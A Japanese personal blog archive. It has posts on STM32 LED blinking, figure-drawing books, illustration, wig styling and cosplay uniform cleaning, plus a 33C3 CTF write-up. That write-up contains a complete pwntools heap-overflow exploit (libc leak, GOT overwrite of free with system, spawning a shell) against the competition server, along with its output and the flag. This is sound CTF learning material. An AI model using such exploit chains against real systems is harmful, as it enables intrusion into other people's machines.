STM32NucleoでLチカ(mbed/C++)
時間がないので手短にまとめます。
必要なもの
- STM32のNucleo(僕は、NUCLEO-L152REを使用)
- USB Mini-B ケーブル
- mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)
調査
NucleoのLD2(緑色のユーザー用LED)のポートを調べる
NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。
PortAのベースアドレスと中身を調べる
STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。
PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。
Lチカコード(main.cpp)
#include "mbed.h" #define DURATION 0.15 #define PORT_A (0x40020000) #define MODER (0x0) #define ODR (0x14) #define PORT_A_ODR ((volatile int*)(PORT_A + ODR)) #define PORT_A_MODER ((volatile int*)(PORT_A + MODER)) void ld2_on() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur | 1 << 5; } void ld2_off() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur & ~(1 << 5); } // ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない void init_ld2() { // output mode volatile int* cur = (volatile int *) (PORT_A + MODER); *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5 ld2_off(); } int main() { for(int i = 0; i < 1000; i++) { ld2_on(); wait(DURATION); ld2_off(); wait(DURATION); } ld2_on(); return 0; }
参考
- NucleoのUser Manual (pdf): http://www.st.com/content/ccc/resource/technical/document/user_manual/98/2e/fa/4b/e0/82/43/b7/DM00105823.pdf/files/DM00105823.pdf/jcr:content/translations/en.DM00105823.pdf
- STM32Lのデータシート (pdf): http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf
33C3 CTF - babyfengshui (pwn150) ほかの writeup
2016/12/29 5:00から48時間開催の33C3 CTFにPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。
- babyfengshui (pwn150)
- exfill (for100)
- pdfmacker (misc75)
で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。
babyfengshui
ユーザー管理をする帳簿を模したプログラムがpwnの対象。
疑似Cコード:
struct STRUCT_USERS { STRUCT_USER* user; }; struct STRUCT_USER { // char* description; char* text; // char[] name; // size = 0x7c }; // size = 0x80 users[0]->name == users + 4 int number_of_X; // 0x804b069, starts with 0 STRUCT_USERS users; // 0x804b080 void getText(char* arg0, int arg1) { // 0x80486bb var_C = *0x14; fgets(arg0, arg1, *stdin); var_10 = strchr(arg0, 0xa); if (var_10 != 0x0) { *(int8_t *)var_10 = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Update(int arg0) { var_1C = arg0; var_C = *0x14; if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit; loc_804875e: printf("text length: "); // __isoc99_scanf("%u%c", 0x0, var_11); __isoc99_scanf("%u%c", 0x0, var_11, var_10); // esp = (esp - 0xc - 0x4) + 0x10; if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax; loc_80487cd: printf("text: "); getText(users[var_1C]->text, 0x7c); goto update_exit;u update_exit: eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Add(int arg0) { var_C = *0x14; var_14 = malloc(arg0); // arg0 is desicription size memset(var_14, 0x0, arg0); var_10 = malloc(0x80); memset(var_10, 0x0, 0x80); *var_10 = var_14; // users[i]->text = var_14 users[number_of_X] = var_10; printf("name: "); eax = *(int8_t *)number_of_X & 0xff; eax = *((eax & 0xff) * 0x4 + users); getText(eax + 0x4, 0x7c); number_of_X += 1; Update(number_of_X - 1); eax = var_10; ecx = var_C ^ *0x14; COND = ecx == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Delete { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); eax = *eax; free(eax); eax = *((var_1C & 0xff) * 0x4 + users); free(eax); *((var_1C & 0xff) * 0x4 + users) = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Display { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); printf("name: %s\n", users[var_1C]->name); // eax = *((var_1C & 0xff) * 0x4 + users); // eax = *eax; printf("description: %s\n", users[var_1C]->description); } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } int main() { eax = *stdin; setvbuf(eax, 0x0, 0x2, 0x0); eax = *stdout; setvbuf(eax, 0x0, 0x2, 0x0); alarm(0x14); esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; goto loc_8048a68; loc_8048a68: puts("0: Add a user"); puts("1: Delete a user"); puts("2: Display a user"); puts("3: Update a user description"); puts("4: Exit"); printf("Action: "); esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10; if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb; loc_8048ae1: eax = exit(0x1); return eax; loc_8048aeb: if (var_14 == 0x0) { printf("size of description: "); __isoc99_scanf("%u%c", var_10, var_15); Add(var_10); esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x1) { printf("index: "); __isoc99_scanf("%d", var_10); Delete(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x2) { printf("index: "); __isoc99_scanf("%d", var_10); Display(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x3) { printf("index: "); __isoc99_scanf("%d", var_10); Update(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 != 0x4) goto loc_8048c05; loc_8048beb: puts("Bye"); eax = exit(0x0); return eax; loc_8048c05: if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68; loc_8048c14: puts("maximum capacity exceeded, bye"); eax = exit(0x0); return eax; }
思考
- 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
- free()の後にポインタをNull化しているため、double freeやUAF不可
- ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す
思い込み(意図的に作り込まれたバグ)
if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax;
このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。
方針
- ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
- GOT書き換えからの
system("/bin/sh")
呼び出し(上図の(4))free(buf)
をsystem("/bin/sh")
と同等にする
Exploit Code
from pwn import * from sys import argv from os import system BIN = "./babyfengshui" BIN_PATCHED = BIN + ".patched" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") PATCH = False REMOTE = False if len(argv) > 1: if argv[1] == "patch": PATCH = True elif argv[1] == "r": REMOTE = True """ 08048a5e 6A14 push 0x14 ; argument "seconds" for method j_alarm 08048a60 E8ABFAFFFF call j_alarm """ if PATCH: with open(BIN) as f: b = f.read() b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF") with open(BIN_PATCHED, "wb") as f2: f2.write(b) system("chmod +x " + BIN_PATCHED) exit() r = None # e = ELF(BIN) offset = {} if REMOTE: """ [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@" 640: 0004cc50 52 FUNC GLOBAL DEFAULT 12 printf@@GLIBC_2.0 [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system" 1443: 0003e3e0 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$" 15f551 /bin/sh """ r = remote("78.46.224.83", 1456) offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551} else: """ [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@" 647: 0004a020 42 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.0 [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@" 1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$" 15ef08 /bin/sh """ # r = process(BIN_PATCHED) r = process(BIN) offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08} count = 0 def Add(size_description, name, size_text, text): global count r.recvuntil("Action: ") r.sendline("0") r.recvuntil("size of description: ") r.sendline(str(size_description)) r.recvuntil("name: ") r.sendline(name) r.recvuntil("text length: ") r.sendline(str(size_text)) res = r.recv(1024) if res == "my l33t defenses cannot be fooled, cya!\n": log.error("GAME OVER: %s" % res.strip('\n')) exit() r.sendline(text) count += 1 def Delete(index): r.recvuntil("Action: ") r.sendline("1") r.recvuntil("index: ") r.sendline(str(index)) def Display(index): r.recvuntil("Action: ") r.sendline("2") r.recvuntil("index: ") r.sendline(str(index)) name = r.recvline().split(':')[1][1:].strip('\n') description = r.recvline().split(':')[1][1:].strip('\n') return (name, description) def Update(index, size_text, text): r.recvuntil("Action: ") r.sendline("3") r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("text length: ") r.sendline(str(size_text)) r.recvuntil("text: ") r.sendline(text) def Exit(): r.recvuntil("Action: ") r.sendline("4") r.recvuntil("Bye\n") def DisplayAll(): for i in range(count): name, description = Display(i) print "[%2d] name = %r (%#x)" % (i, name, len(name)) print "[%2d] description = %r (%#x)" % (i, description, len(description)) # context.log_level = 'debug' plt = {"fgets": 0x8048500, "strchr": 0x08048560} """ gdb-peda$ x/i 0x08048560 0x8048560 <strchr@plt>: jmp DWORD PTR ds:0x804b02c """ got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c} # name_len = 0x7b name_len = 0x10 # anti 20 sec limit # bp() log.info("=== [prepare] ===") # (1)から(3)まで Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0 Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1 Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2 Delete(0) # DisplayAll() log.info("=== [info leak] ===") LEAK_FUNC = "printf" Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "A"*4, # chunk header p32(got[LEAK_FUNC]), # "LEAK", ])) DisplayAll() name, description = Display(1) print "description = %r" % description addr = u32(description[:4]) libc_base_addr = addr - offset[LEAK_FUNC] system_addr = libc_base_addr + offset["system"] bin_sh_addr = libc_base_addr + offset["/bin/sh"] print "libc base address = %#x" % libc_base_addr print "%s() = %#x" % (LEAK_FUNC, addr) print "system() = %#x" % system_addr print "'/bin/sh' = %#x" % bin_sh_addr log.info("=== [got overwrite] ===") # (4) Update(3, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "X"*4, # chunk header # p32(got["strchr"]), # X() p32(got["free"]), # X() "GOTw", ])) # DisplayAll() bp() Update(1, 10, p32(system_addr)) # X() <= system() log.info("=== [trigger shell] ===") Delete(2) # system("/bin/sh") context.log_level = 'warn' r.interactive()
20秒制限があるため、通信は手短に済まさねばならない点がポイント。
[katc@K_atc babyfengshui]$ python2 babyfengshui.py r [+] Opening connection to 78.46.224.83 on port 1456: Done [*] === [prepare] === [*] === [info leak] === [ 0] name = 'Add a user' (0xa) [ 0] description = 'Delete a user' (0xd) [ 1] name = 'LEAK' (0x4) [ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34) [ 2] name = '3333333333333333' (0x10) [ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23) [ 3] name = '4444444444444444' (0x10) [ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8) description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' libc base address = 0xf75b1000 printf() = 0xf75fdc50 system() = 0xf75ef3e0 '/bin/sh' = 0xf7710551 [*] === [got overwrite] === [*] === [trigger shell] === babyfengshui flag.txt 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
exfill
DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pdfmaker
最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pay2pwnのアシスト内容
クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。
リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040 http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040
タイミングによらず、未購入であれば同じdataが入りそうだ。
次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。
### 4929990005949674 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040 ### 4024007103302005 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040
注意深く見ると、次のことが分かる。
- dataはhexエンコードされたデータ。暗号文の可能性が高い
- 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる
dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。
うちのチームの新人くん、彼にとって初めてであろう解き方を教えたら30分位であっさり解いてしまって才能を感じる
— 友利奈緒ちゃん (@K_atc) 2016年12月29日
ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…
【イラスト】人物画の良書に目を向けてみた
お絵かき練習してても伸び悩みを感じるので、ネットで解説を探し回ったが、やはりそんなのはもう知ってるんだよっていうものしが出てこないので、 美術書・技法書に目を向けていこう!という気持ちになった。 何をしようかと悩むので、手元にある本を振り返りつつ良さげな本を漁ってみた。 収穫として1冊よさげなのが見つかった!
「後発の本」と表現したものは数年以内に発売された本(再販除く)を指す。
「○○(本)をやる」という表現は、読んで主張を理解した上で模写し、納得することを指す。
【未読】は手元にない本を指す。
※美術に関しては、人によって言っていることが違うということが割とよく起こるので、誰の言うことを信じるのかを決めたほうがいいと思います。 たとえば、「いちあっぷ講座」(その記事思い出せない)と「ハム本」とで斜め角度からの肩の描き方で相反する説明があった。
人物画のおすすめ本
はっきり言って、基本的に人物画においては後発の本はあまりおすすめできない。 数冊買ったり、Amazonでプレビューできるものを見たりしたが、ここで紹介するような本の情報量に及んでいない。
人体のデッサン技法(ジャック・ハム)
- 作者: ジャック・ハム,島田照代
- 出版社/メーカー: 嶋田出版
- 発売日: 1987/07
- メディア: 単行本
- 購入: 55人 クリック: 209回
- この商品を含むブログ (23件) を見る
ハム本とも呼ばれる。人体比率、各部位のポイントを抑えた作例があり、超入門的な内容である。 全くの絵の入門者はこの本をしっかりやるとGood。
やさしい人物画(A・ルーミス)
- 作者: A・ルーミス,北村孝一
- 出版社/メーカー: マール社
- 発売日: 2000
- メディア: 単行本
- 購入: 34人 クリック: 580回
- この商品を含むブログ (68件) を見る
ハム本をやり終えた時におすすめ。pixivの講座を参考にする前にこれをやれという感じ。 pixivの講座が参考にならないのではない。効率性の問題。
(あんままともにやってないとはいえない…)
【未読】アーティストのための美術解剖学―デッサン・漫画・アニメーション・彫刻など、人体表現、生体観察をするすべての人に(ヴァレリー・L. ウィンスロゥ)
アーティストのための美術解剖学―デッサン・漫画・アニメーション・彫刻など、人体表現、生体観察をするすべての人に
- 作者: ヴァレリー・L.ウィンスロゥ,Valerie L. Winslow,宮永美知代
- 出版社/メーカー: マール社
- 発売日: 2013/04
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (5件) を見る
描き方伝授でなく、あくまで図鑑的。内容は解剖学寄り。 pixivで講座としてこのようなことが解説されていることが多いが、この一冊ちゃんとやったほうが楽かもしれない。
【未読】Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Burne Hogarth)
- 作者: Burne Hogarth
- 出版社/メーカー: Watson-Guptill
- 発売日: 1996/08/01
- メディア: ペーパーバック
- 購入: 2人 クリック: 3回
- この商品を含むブログを見る
美術的でなく、漫画的な描き方を重点に置いた本。アニメーター向けの本として紹介されることが多い。
日本語版があった気がするけど、何らかの理由でペーパーバック版がおすすめされていたと記憶。 ペーパーバック版は2年前くらいに復活した。 説明文が短いので英語でも問題ないはず。
ほか
行き詰まった時にこの辺やるといいよ。
- 作者: 林晃,松本剛彦,森田和明
- 出版社/メーカー: グラフィック社
- 発売日: 2005/10
- メディア: 単行本
- 購入: 46人 クリック: 1,459回
- この商品を含むブログ (48件) を見る
模写のネタになる本
どの作品の本にするかは自分がその作品やキャラが好きかどうかでいいと思う。
電脳コイル ビジュアルコレクション
電脳コイル ビジュアルコレクション (ROMAN ALBUM)
- 作者: 磯光雄,井上俊之
- 出版社/メーカー: 復刊ドットコム
- 発売日: 2014/04/19
- メディア: 大型本
- この商品を含むブログ (3件) を見る
原画集。アニメーター志望者におすすめされる本。 (一時期入手不能になってたのが、数年前に再販された記憶がある)
各アニメの設定資料集・原画集
アニメにおける顔作画について徹底的に研究したいならこういう本を買うと良い。 diomediaやP.A.Worksやカラーがよく販売している。
僕は顔が全然うまく描けなかった時に『俺の脳内選択肢が、学園ラブコメを全力で邪魔している 設定資料集』をよく模写していた。 前髪が顔の角度によってどう変化するのかについてはとても勉強になった。
ヌードポーズ集
スーパー・ポーズブック ヌード編 (コスミック・アート・グラフィック)
- 作者: 尾形正茂,島本耕司
- 出版社/メーカー: コスミック出版
- 発売日: 2012/04/19
- メディア: 単行本(ソフトカバー)
- 購入: 3人 クリック: 365回
- この商品を含むブログ (3件) を見る
この辺を徹底的に模写した漫画家の話が出たりする。(僕は未経験)
(僕のための)結論
ということで
- アーティストのための美術解剖学
買って、
- やさしい人物画
をやり直そうかな(目指せ神絵師)
一日遅れのメリークリスマス(友利奈緒より)
ついに友利奈緒 Advent Calandar は25日目を迎えました!(1日遅れ)
瞑想迷走30分+線画1時間+塗り4時間で簡単なお祝いイラストを描きました。メリークリスマス!
来年も友利奈緒をよろしくお願いしまーす
あとがき
普段はスケッチブックに描いた線画をスキャナで取り込んでから、Photoshopで線画を抽出するのですが、 スケッチブックの方でクリーンナップを十分にやってもギザギザしてしまうのですよね。Sketch Simplification・ラフスケッチの自動線画化 を使えばアナログ線画をスムーズにできるのですが、また使い忘れてしまいました(てへぺろ
使用画材・ツール:
- スケッチブック
- uni鉛筆(HB)
- Clip Studio Paint
- Photoshop
- Illustrator
例の友利奈緒風ウィッグの髪型のセット方法のメモ
こちらは 友利奈緒 Advent Calandar 2016 22日目の記事です。 今日はAmazonで3000円ぐらいで買える友利奈緒風ウィッグのセット方法のメモを晒します。 メモには値段以上の価値を引き出すための工夫も書いてあります。
前髪
友利奈緒の前髪は下の写真のようにまとまってませんが、普段はこのようにまとめておくとブラシを入れるなどの手入れがしやすいです。 私は着用したときに友利奈緒の前髪になるように毛をまとめ直しています。
サイド髪
サイド髪は下の写真の緑色で着色したように取っています。分かりやすいように写真では、サイド髪をヘアゴムでまとめています。 顔の輪郭をごまかしたいので設定よりは多めに毛を取っています。
熱?で圧着されたカール対策
下の写真の通り、このウィッグは熱か何かで雑にカールがつけられています。 ヘアアイロンで巻き髪にする通常の手順と大きく逸脱していますし、このままだとブラシを通しにくいです。 放置して着脱を繰り返すとウィッグ全体がボサボサしてきてしまいます。
しかし下の写真の通り、接着をむりやり外すとそこがパサパサ&ボサボサで大変なことになります。 毛束を少なめに手にとり、ヘアオイルで湿潤させ、ブラシを優しく通す作業を1束10~20分のペースで繰り返せば潤艶髪なります。 このときブラシの柄の部分も使うのもありです。 私がした限りでは、一日頑張ったところで乾燥したままなので二日同じことをしないと髪が落ち着いてくれませんでした。
次は、もともとあったカールをほとんど取り、ダメージのケアをした時の後ろ髪の写真です。 カールがだいぶゆるくなっる点を除けばだいぶいい感じです。 元よりもウェット感が出ていて気に入っています(後ろ髪の右側は直前にヘアオイルを使った手入れをしたのでオイリーですけど…)。
参考情報
お手入れに使用したもの:
- ブラシ(ウィッグ用コームブラシ)
- 質があまりよろしくなく、現時点でブラシが数本取れている(僕が悪いのか…)
- ヘアオイル(ロレアル パリ エクストラオーディナリー オイル エクラエンペリアル)
髪型を完璧にセットして、キミもモテカワ友利奈緒になろう!
星ノ海学園制服(女子冬服)をおうちクリーニングしてみた
これは 友利奈緒 Advent Calendar 2016 の16日目の記事です。
今日は、ACOSで買った星ノ海学園制服(女子冬服)をおうちでクリーニングしたよという話です。 洗濯表示的にはクリーニングに出したほうがいい代物ですが、 そっと洗えば大丈夫そうだったのでコスプレ衣装洗濯初心者ながら自己責任でやってみました。
前提
- シミなどの汚れはない
用意するもの
- エマールなどのおしゃれ着用洗剤(中性洗剤)
- 風呂桶
- 洗濯ネット
- 厚手のハンガー
- アイロンとアイロン台
- 洗濯ばさみ10個ぐらい
洗濯表示
家庭科の授業で習ったとおりに、まず洗濯表示を確認します。 それによると、
- 組成はポリエステル100%
- 「家庭での洗濯禁止」(ただし条件付きで洗濯可能)
- 「塩素系漂白剤による漂白が出来ません」
- 「底面温度 150℃を限度としてアイロン仕上げ処理ができる。」かつ「あて布が必要」
- 「ドライクリーニングが出来ます。溶剤はパークロルエチレンまたは石油系のものを使って下さい。」
ポリエステルなので、シワになりにくいはずですが、水洗いできないというのは謎でした。 が、後で思えば色落ちが著しいという理由なのかもしれません。
本当はここで目立たないところに洗剤の原液を付けて色落ちしないかをチェックするところですが、色落ちすることは自明なのでスキップです。
手洗い
風呂桶の中にぬるま湯と適量のエマールを入れて、押し洗いで洗いました。 色落ちを洗った後の水の色で判断するならば、
- セーラー服の上の方は少し水が赤くなったねというくらいで許容範囲
- スカートの方は大丈夫かってくらいに水が茶色くなった
という感じです。他の衣服と一緒に洗いたくないやつですね。
水ですすいでから次は乾燥です。
乾燥
洗濯機にネットに入れて軽く脱水させて、厚手のハンガーで乾燥させる感じの適当さです。 シワになるのが嫌なので雑巾絞りはしてないです。
乾燥後に色落ちをチェックしましたが、白のラインに色が付いていたり、色ムラがあったりはしませんでした。大丈夫そうです。
アイロンがけ
あいにく制服のアイロンがけはしたことがありません。 温度を「中」にして、下の動画を参考にしながらアイロンを浮かせながらスチームをかけたり、あて布をしながらアイロンを掛けたりしましたが、 下手くそ過ぎて小さいシワが残ってしまいました。なので仕上がりの写真は載せられません!
あとがき:次回があったときに試したいこと
- 水洗い時に色落ちを少なくするには水に塩を溶かすといいらしい
- 塩を水に溶かすと、水の残りの溶解度が小さくなることを利用するらしい
- バスタオルでロールケーキのようにくるむと型崩れしにくい。これはロングウィッグにも有効(ソース)
クリーニング(洗濯)は大事ですよ〜。みなさん、ちゃんと洗濯してますか?